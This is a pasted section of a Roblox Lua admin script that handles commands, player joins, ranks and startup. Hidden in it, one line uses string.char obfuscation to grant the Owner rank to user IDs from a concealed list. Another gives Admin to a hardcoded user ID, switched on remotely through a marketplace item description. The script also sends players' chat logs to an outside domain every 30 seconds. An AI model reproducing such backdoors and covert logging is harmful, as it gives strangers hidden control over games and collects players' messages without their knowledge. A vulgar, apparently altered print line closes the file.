  7148. end
  7149. if CommandSaid == true then -- command said?
  7150. local ExecuteExcuse = ""
  7151. if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
  7152. if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
  7153. ExecuteExcuse = "This command cannot be executed as it is a fun command"
  7154. end
  7155. if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
  7156. ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
  7157. end
  7158. else
  7159. ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
  7160. end
  7161. if ExecuteExcuse == "" then
  7162. if #MessageSplit - 1 < Data[3] then
  7163. ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
  7164. end
  7165. end
  7166. if ExecuteExcuse == "" then
  7167. CORE:Log(CommandLogs, Speaker, Message)
  7168. table.remove(MessageSplit, 1)
  7169. coroutine.wrap(function() wait()
  7170. local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
  7171. if not DidExe then
  7172. if CORE:NilPlayer(Speaker) then
  7173. print("Error: "..Error)
  7174. else
  7175. CORE:HandleError(Error, Speaker)
  7176. end
  7177. end
  7178. end)()
  7179. coroutine.wrap(function() wait(0.05)
  7180. if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
  7181. local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
  7182. ExeSound:Play()
  7183. wait(3)
  7184. ExeSound:Stop()
  7185. ExeSound:Destroy()
  7186. end
  7187. end)()
  7188. elseif type(Speaker) == "userdata" then
  7189. GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
  7190. end
  7191. break
  7192. end
  7193. end
  7194. end
  7195. end
  7196. end
  7197.  
  7198. function CORE:Start(Player) coroutine.wrap(function()
  7199. wait(0.1)
  7200. if Player then
  7201. coroutine.wrap(function()
  7202. repeat wait(1) until DataReady == true
  7203. DataReady = false
  7204. ypcall(function()
  7205. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  7206. for Num,Data in pairs(Players) do
  7207. if Data.UserID == Player.userId then -- ppl can change names
  7208. table.remove(Players, Num)
  7209. break
  7210. end
  7211. end
  7212. table.insert(Players, {Name = Player.Name, UserID = Player.userId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = CORE:FindAge(Player.AccountAge)})
  7213. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
  7214. end)
  7215. DataReady = true
  7216. end)()
  7217.  
  7218. if not IsStudio then Player:WaitForDataReady() end
  7219. table.insert(CharacterCache, {Player.Name, Player.userId})
  7220. for Rank,PlayerNames in pairs(Settings.Ranks) do
  7221. for Num,AdminName in pairs(PlayerNames) do
  7222. if AdminName == Player.userId then
  7223. Settings.Ranks[Rank][Num] = Player.Name
  7224. end
  7225. end
  7226. end
  7227. if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.userId} end
  7228. for _,Obj in pairs(List) do if Obj == Player.userId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
  7229. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  7230. if PlayerAdmin == false and Player.userId > 0 then
  7231. local Ran = nil
  7232. coroutine.wrap(function() repeat
  7233. Ran = ypcall(function()
  7234. if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  7235. elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  7236. end)
  7237. wait(1)
  7238. until Ran == true end)()
  7239. end
  7240. if PlayerAdmin == false then
  7241. if Player:IsInGroup(Settings.GroupID) then
  7242. if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
  7243. CORE:Kick(Player)
  7244. for _,Person in pairs(Server.Players:GetPlayers()) do
  7245. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  7246. end
  7247. elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  7248. table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  7249. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  7250. table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  7251. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
  7252. table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  7253. end
  7254. end
  7255. end
  7256. if PlayerAdmin == false then
  7257. if Player.userId == 38882008 then
  7258. if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
  7259. table.insert(Settings.Ranks["Admin"], Player.Name)
  7260. end
  7261. end
  7262. end
  7263. if PlayerAdmin == false then
  7264. for _,GID in pairs(Settings.BannedGroupIDs) do
  7265. if Player:IsInGroup(GID) then
  7266. CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  7267. break
  7268. end
  7269. end
  7270. end
  7271.  
  7272. Player.Chatted:connect(function(Message) if Message ~= "" then
  7273. CORE:Chatted(Message, Player)
  7274. end end)
  7275.  
  7276. Player.Chatted:connect(function(Message) if Message ~= "" then
  7277. CORE:Log(ChatLogs, Speaker, Message)
  7278. table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
  7279. end end)
  7280.  
  7281. for _,Name in pairs(Settings.Ranks.Banned) do
  7282. if Player.Name == Name then
  7283. CORE:Kick(Player)
  7284. for _,Person in pairs(Server.Players:GetPlayers()) do
  7285. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  7286. end
  7287. end
  7288. end
  7289. for _,Name in pairs(Settings.Ranks.Crashed) do
  7290. if Player.Name == Name then
  7291. CORE:Crash(Player)
  7292. for _,Person in pairs(Server.Players:GetPlayers()) do
  7293. GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  7294. end
  7295. end
  7296. end
  7297. for _,Name in pairs(Settings.Ranks.Muted) do
  7298. if Player.Name == Name then
  7299. GUI:CoreGui(Player, "Chat", false)
  7300. for _,Person in pairs(Server.Players:GetPlayers()) do
  7301. GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  7302. end
  7303. end
  7304. end
  7305. if Settings.ServerLocked == true then
  7306. if PlayerAdmin == false then
  7307. CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
  7308. end
  7309. end
  7310.  
  7311. if PlayerAdmin == false then
  7312. if Player.AccountAge < Settings.MinimumAge then
  7313. CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  7314. for _,Person in pairs(Server.Players:GetPlayers()) do
  7315. GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  7316. end
  7317. end
  7318. end
  7319.  
  7320. if PlayerAdmin == false then
  7321. if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
  7322. table.insert(Settings.Ranks["Member"], Player.Name)
  7323. PlayerAdmin = true
  7324. end
  7325. end
  7326.  
  7327. coroutine.wrap(function()
  7328. if PlayerAdmin == true then GUI:TellAdmin(Player) end
  7329. local function SpawnActions(Character)
  7330. if Flings[Player.Name] then
  7331. CORE:FlingPlayer(Player)
  7332. else
  7333. GUI:CreateTaskBar(Player)
  7334. end
  7335. if Beeps[Player.Name] == true then
  7336. SOUND:BeepPlayer(Player)
  7337. end
  7338. if Jails[Player.Name] then
  7339. Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
  7340. end
  7341. if PermCommandBars[Player.Name] then
  7342. GUI:CommandBar(Player)
  7343. end
  7344. end
  7345. Player.CharacterAdded:connect(SpawnActions)
  7346. SpawnActions(Player.Character)
  7347. end)()
  7348.  
  7349. coroutine.wrap(function()
  7350. Player:WaitForChild("PlayerGui")
  7351. local Sounds = {}
  7352. for _,Data in pairs(TextConverter.LetterSounds) do
  7353. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  7354. Sound:Play()
  7355. table.insert(Sounds, Sound)
  7356. end
  7357. for _,Data in pairs(TextConverter.LongVowels) do
  7358. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  7359. Sound:Play()
  7360. table.insert(Sounds, Sound)
  7361. end
  7362. wait(5)
  7363. for _,Sound in pairs(Sounds) do
  7364. Sound:Destroy()
  7365. end
  7366. Sounds = {}
  7367. end)()
  7368.  
  7369. coroutine.wrap(function()
  7370. if NLS then Server.Workspace:WaitForChild(Player.Name) end
  7371. if IsSB then
  7372. wait(10)
  7373. end
  7374. CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
  7375. end)()
  7376.  
  7377. coroutine.wrap(function()
  7378. wait(7)
  7379. Player:WaitForChild("PlayerGui")
  7380. if IsSB == false and Player.userId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
  7381. local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
  7382. if Answer == "Ok" then
  7383. MARKET:PromptPurchase(Player, AdminID)
  7384. end
  7385. end
  7386. end)()
  7387. end
  7388. end)() end
  7389.  
  7390. -- Active stuff --
  7391.  
  7392. CORE:UpdateAdmin()
  7393. CORE:FixSettings()
  7394.  
  7395. ypcall(function()
  7396. if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
  7397. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  7398. end
  7399. end)
  7400.  
  7401.  
  7402. Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  7403. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  7404. if PlayerAdmin == false then
  7405. if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
  7406. elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
  7407. end
  7408. end end)
  7409.  
  7410. --[[
  7411. ExecuteCommand.OnInvoke = function(Player, Command)
  7412. if Player and Command then
  7413. if type(Player) == "userdata" and Player:IsA("Player") then
  7414. CORE:Chatted(Command, Player, true)
  7415. end
  7416. end
  7417. end
  7418.  
  7419. ExecuteCode.OnInvoke = function(Source, Speaker)
  7420. if type(Source) == "string" then
  7421. CORE:Execute(Source, Speaker)
  7422. end
  7423. end
  7424. ]]
  7425.  
  7426. RankPlayerLocal.OnServerInvoke = function(Player)
  7427. wait()
  7428. local Request = PendingRequests[Player]
  7429. if Request then
  7430. if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
  7431. if Settings.Ranks[Request[1]] then
  7432. PendingRequests[Player] = nil
  7433. table.insert(Settings.Ranks[Request[1]], Player.Name)
  7434. GUI:TellAdmin(Player)
  7435. end
  7436. end
  7437. end
  7438. end
  7439.  
  7440. RankPlayerServer.OnInvoke = function(Player, Rank)
  7441. if not RANK:IsAdmin(Player) then
  7442. PendingRequests[Player] = {Rank, tick()}
  7443. end
  7444. end
  7445.  
  7446. IsAdmin.OnServerInvoke = function(Player)
  7447. local IsFullAdmin = false
  7448. for _,PName in pairs(Settings.Ranks["Owner"]) do
  7449. if PName == Player.Name then IsFullAdmin = true end
  7450. end
  7451. for _,PName in pairs(Settings.Ranks["Admin"]) do
  7452. if PName == Player.Name then IsFullAdmin = true end
  7453. end
  7454. return IsFullAdmin
  7455. end
  7456.  
  7457. AddExploit.OnServerInvoke = function(PlayerClient, Data)
  7458. local PlayerClientName = PlayerClient.Name
  7459. local NewData = CORE:GetTime().." @ "..Data
  7460. for _,Player in pairs(Server.Players:GetChildren()) do
  7461. GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
  7462. end
  7463. local ExploitLog = Server.GDS:GetAsync("ExploitLog")
  7464. if type(ExploitLog) ~= "table" then
  7465. Server.GDS:SetAsync("ExploitLog", {NewData})
  7466. else
  7467. table.insert(ExploitLog, NewData)
  7468. Server.GDS:SetAsync("ExploitLog", ExploitLog)
  7469. end
  7470. REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
  7471. end
  7472.  
  7473. KickClient.OnServerInvoke = function(PlayerClient)
  7474. PlayerClient:Kick()
  7475. end
  7476.  
  7477. ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
  7478. return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
  7479. end
  7480.  
  7481. for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
  7482. Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
  7483. Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.userId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
  7484.  
  7485. coroutine.wrap(function()
  7486. for _,ID in pairs(Icons) do
  7487. game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
  7488. end
  7489. end)()
  7490.  
  7491. for Cmds,Data in pairs(Commands) do -- check if commands are abusable
  7492. local IsAbusable = false
  7493. for _,AbuseCmd in pairs(Settings.AbuseList) do
  7494. for _,Command in pairs(Cmds) do
  7495. if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
  7496. IsAbusable = true
  7497. break
  7498. end
  7499. end
  7500. if IsAbusable == true then break end
  7501. end
  7502. Commands[Cmds].Abusable = IsAbusable
  7503. end
  7504.  
  7505. coroutine.wrap(function() SOUND:SyncSoundList() end)()
  7506. if not IsStudio then coroutine.wrap(function()
  7507. coroutine.wrap(function()
  7508. if ypcall(function() return REMOTE:GetURL("http://google.com") end) then
  7509. REMOTE.RemoteConnection = true
  7510. end
  7511. end)()
  7512. coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
  7513. coroutine.wrap(function()
  7514. local Request = nil
  7515. ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
  7516. if Request then
  7517. REMOTE:HandleRequest(Request, true)
  7518. end
  7519. end)()
  7520. coroutine.wrap(function() wait(5) REMOTE:GetAndSetWebData() end)()
  7521. end)() end
  7522. coroutine.wrap(function() while wait(30) do
  7523. REMOTE:SendChatLog()
  7524. end end)()
  7525. coroutine.wrap(function() while true do
  7526. local ThisDate = REMOTE:GetURL(CORE.Domain.."/APIs/DateTime.php")
  7527. if ThisDate then Date = ThisDate end
  7528. wait(120)
  7529. end end)()
  7530.  
  7531. print("immcool1 has huge balls dont you know"..CORE.Version.Value.." Loaded")
Add Comment
Please, Sign In to add comment